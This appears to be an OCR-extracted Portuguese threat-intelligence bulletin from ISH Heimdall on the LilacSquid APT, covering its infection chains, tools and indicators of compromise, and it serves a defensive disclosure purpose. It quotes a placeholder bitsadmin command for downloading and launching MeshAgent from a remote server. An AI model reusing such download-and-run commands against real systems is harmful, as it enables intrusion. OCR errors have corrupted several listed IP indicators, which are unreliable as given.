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A conta oficial do grupo de Threat Intelligence da ISH.
Conheg¢a mais do que fazemos aqui:

Acesse boletins diarios sobre agentes de ameacas,
malwares, indicadores de comprometimentos, TIPs e
outras informacgoes no site da ISH.

Boletins de Seguranca - Heimdall

Malware Ransomware

CONTAS DO FACEBOOK SAD INVADIDAS ALERTA PARA RETORNO DO MALWARE GRUPO DE RANSOMWARE CLOP
POR EXTENSOES MALICIOSAS DE EMOTET! EXPLORANDO VULNERABILIDADE PARA
NAVEGADORES NOVAS VITIMAS

0 malware Emotet apés permanecer alguns
Descoberto recentemente que atores meses sem operagdes retornou cou outro 0 grupo de Ransomware conhecido como
maliciosos utilizam extensdes de meio de propagagao, via OneNote e também ClOp esta explorando ativamente a
navegadores para realizar o roubo de cookies dos métodos ja conhecidos via Planilhas e vulnerabilidade conhecida como
de sessoes de sites como o Facebook. A Documentos do Microsoft Office CVE-2023-0669, na qual realizou o ataque a
extensdo maliciosa é oferecida como um diversas organizagdes e expds os dados no
anexo do ChatGPT. site de data leaks
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1 SUMARIO EXECUTIVO

O ator de ameacas conhecido como LilacSquid especializado em
espionagem, tem sido vinculado a uma série de ataques direcionados desde 2021,
abrangendo varios setores nos Estados Unidos, Europa e Asia, fazendo parte de
uma campanha de roubo de dados em larga escala.
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2 INFORMAGCAO SOBRE A AMEAGA

A Talos identificou uma campanha de ciberespionagem ativa desde 2021,
liderada por um ator de ameacga avangada persistente (APT) conhecido como
“LilacSquid”. Esta campanha tem como objetivo estabelecer um acesso
duradouro para o roubo de dados € ja resultou em pelo menos trés compromissos
bem-sucedidos em setores industriais na Asia, Europa e Estados Unidos.

O grupo explora vulnerabilidades e usa credenciais de protocolo de desktop
remoto (RDP) comprometidas para ganhar acesso inicial. Posteriormente, eles
implantam o MeshAgent e uma versao personalizada do QuasarRAT, conhecida
como “Purplelnk”, para obter controle total sobre os sistemas comprometidos.
Além disso, eles usam ferramentas de coédigo aberto, como o Secure Socket
Funneling (SSF), para manter a persisténcia. Ha sobreposi¢cdes notaveis entre as
taticas, técnicas e procedimentos (TTPs) usados por LilacSquid e grupos APT norte-
coreanos, como Andariel e Lazarus. Isso inclui o uso do MeshAgent para manter o
acesso poés-comprometimento e a implantagcdo de ferramentas de proxy e
tunelamento SOCKs para criar canais de acesso secundario. Ele utiliza duas
principais cadeias de infecgcdo em sua campanha. A primeira é a exploragao de
uma aplicagdo web vulneravel e a segunda é o uso de credenciais RDP
comprometidas. Uma vez que um sistema é comprometido, LilacSquid implanta
varias ferramentas de acesso, incluindo MeshAgent, Secure Socket Funneling
(SSF), InkLoader e Purplelnk. Apds a exploragcdo bem-sucedida de um aplicativo
vulneravel, os invasores implantam um script que prepara o ambiente para o
malware e, em seguida, baixa e executa o MeshAgent de um servidor remoto. Uma
vez executado, o MeshAgent se conecta ao seu servidor de comando e controle
(C2), realiza um reconhecimento inicial e comeca a baixar e ativar outros implantes
no sistema, como SSF e Purplelnk.

Os invasores normalmente baixam o MeshAgent usando o utilitario
bitsadmin e, em seguida, 0 executam para estabelecer a conexdao com o servidor
C2:

|bitsadmin /transfer -job_name- /download /priority normal -remote URL- -local_path_for_meshagent- -local path_for_Meshagent- connect |

Figura 1 - Utilizagao do utilitario bitsadmin.
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Figura 2 - Download do MashAgent.

Quando o ator obtém acesso por meio de credenciais RDP comprometidas,
asequénciadeinfeccao sofre uma pequena modificagao. Nesse caso, o LilacSquid
pode optar por implantar o MeshAgent e os implantes subsequentes ou introduzir
um componente adicional na infeccao antes do Purplelnk. O InkLoader é um
carregador de malware baseado em DOT NET, simples, porém eficiente, projetado
para executar um comando ou executavel codificado. Na sequéncia de infecgéo, o
InkLoader é o componente que persiste apds as reinicializagdes do host infectado,
ao invés do préprio malware que ele executa. Até o momento, apenas o Purplelnk
foi observado sendo executado via InkLoader, mas é provavel que o LilacSquid
possa usar o InkLoader para implantar outros implantes de malware.

Foi observado pela Talos que o LilacSquid implantou o InkLoader
juntamente com o Purplelnk apenas quando foi capaz de criar e manter sessdes
remotas via RDP, explorando o uso de credenciais roubadas no host alvo. Um login
bem-sucedido via RDP resulta no download do InkLoader e do Purplelnk, copiando
esses artefatos para os diretérios desejados no disco e registrando
subsequentemente o InkLoader como um servico que € entdo iniciado para
implantar o InkLoader e, consequentemente, o Purplelnk.

LilacSquid - Lateral movement via RDP
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Figura 3 - Cadeia de infeccéo.
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O Purplelnk é o principal implante do LilacSquid, uma adaptacao do
QuasarRAT, um trojan de acesso remoto bastante conhecido. O QuasarRAT esta
disponivel para agentes de ameacas desde 2014, mas o desenvolvimento ativo do
Purplelnk foi observado a partir de 2021, com evoluc¢des independentes de sua
familia de malware original. Ele utiliza um arquivo de configuracao associado para
acessar informacoes como o enderegco e a porta do servidor C2. Este arquivo é
geralmente decodificado e descriptografado em base64 para obter as strings de
configuracdo necessarias para o ator. O implante é extremamente versatil,
fortemente ofuscado e com uma gama de recursos RAT. A Talos notou varias

variantes do Purplelnk, com funcionalidades sendo adicionadas e removidas.

O InkBox atua como um carregador de malware, responsavel por ler um
caminho de arquivo codificado armazenado no disco e proceder com sua
descriptografia. O resultado da descriptografia é um segundo assembly
executavel, que é ativado através da invocagcao de seu ponto de entrada no
processo InkBox. Este segundo assembly é identificado como o backdoor
Purplelnk.
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Figura 4 — Variacao da cadeia de infecgéao.

A técnica de utilizar o InkBox para a implantacdo do Purplelnk é uma
estratégia mais antiga, empregada pelo ator desde 2021. A partir de 2023, o agente
de ameaca desenvolveu uma nova variante do processo de infec¢do, na qual a
cadeia de infecgao foi modularizada, permitindo que o Purplelnk seja executado
como um processo independente. Contudo, mesmo nesta nova configuracao de
infeccdo, o Purplelnk ainda é ativado por meio de um componente adicional,
denominado “InkLoader”.
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3 RECOMENDACOES

Além dos indicadores de comprometimento elencados abaixo pela ISH,
poderdo ser adotadas medidas visando a mitigacdo da infeccdo do referido
malware, como por exemplo:

Atualizacao de software

e Mantenhatodos os seus softwares, incluindo o sistema operacional e todos
os aplicativos, atualizados. Muitas vezes, o0s invasores exploram
vulnerabilidades conhecidas que poderiam ser corrigidas com
atualizagdes.

Firewall e Antivirus
e Use um firewall confidvel e mantenha seu software antivirus atualizado.
Educacao em seguranca cibernética

e Eduque-se e a sua equipe sobre as melhores praticas de seguranca
cibernética. Isso inclui ndo abrir e-mails suspeitos ou clicar em links
desconhecidos.

Backups

e Facabackupsregulares de seus dadosimportantes. Em caso de um ataque,
isso permitirda que vocé restaure seus sistemas com o minimo de
interrupcgao.

Monitoramento de rede

e Monitore sua rede em busca de atividades suspeitas. Isso pode ajudar a
detectar um ataque em seus estagios iniciais.
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4 INDICADORES DE COMPROMISSOS

A ISH Tecnologia realiza o tratamento de diversos indicadores de
compromissos coletados por meio de fontes abertas, fechadas e também de
analises realizadas pela equipe de seguranca Heimdall. Diante disto, abaixo
listamos todos os Indicadores de Compromissos (IOCs) relacionadas a anélise
do(s) artefato(s) deste relatoério.

Indicadores de compromisso do artefato
md5: f81b9820f6fa7f11c8d4d223f57a579c

sha1: 75165906a74ad25299780e568bfac9782023d1f7
sha256: 2eb9c6722139e821c2fe8314b356880be70f3d19d8d2ba530adc9f466ffc67d8

File name: MdmDiagnosticTool.exe
Tabela 1 -Indicadores de Compromissos de artefatos

Indicadores de URL, IPs e Dominios

Indicadores de URL, IPs e Dominios
67[.]1213[.]221[.]6

192[.1145[.]127[.]1190

45[.]9[.1251[.]14

199[.]1229[.]250[.]1142

Tabela 2 - Indicadores de Compromissos de Rede.

Obs: Os links e enderecos IP elencados acima podem estar ativos; cuidado ao realizar a
manipulacao dos referidos 10Cs, evite realizar o clique e se tornar vitima do conteudo
malicioso hospedado no loC.
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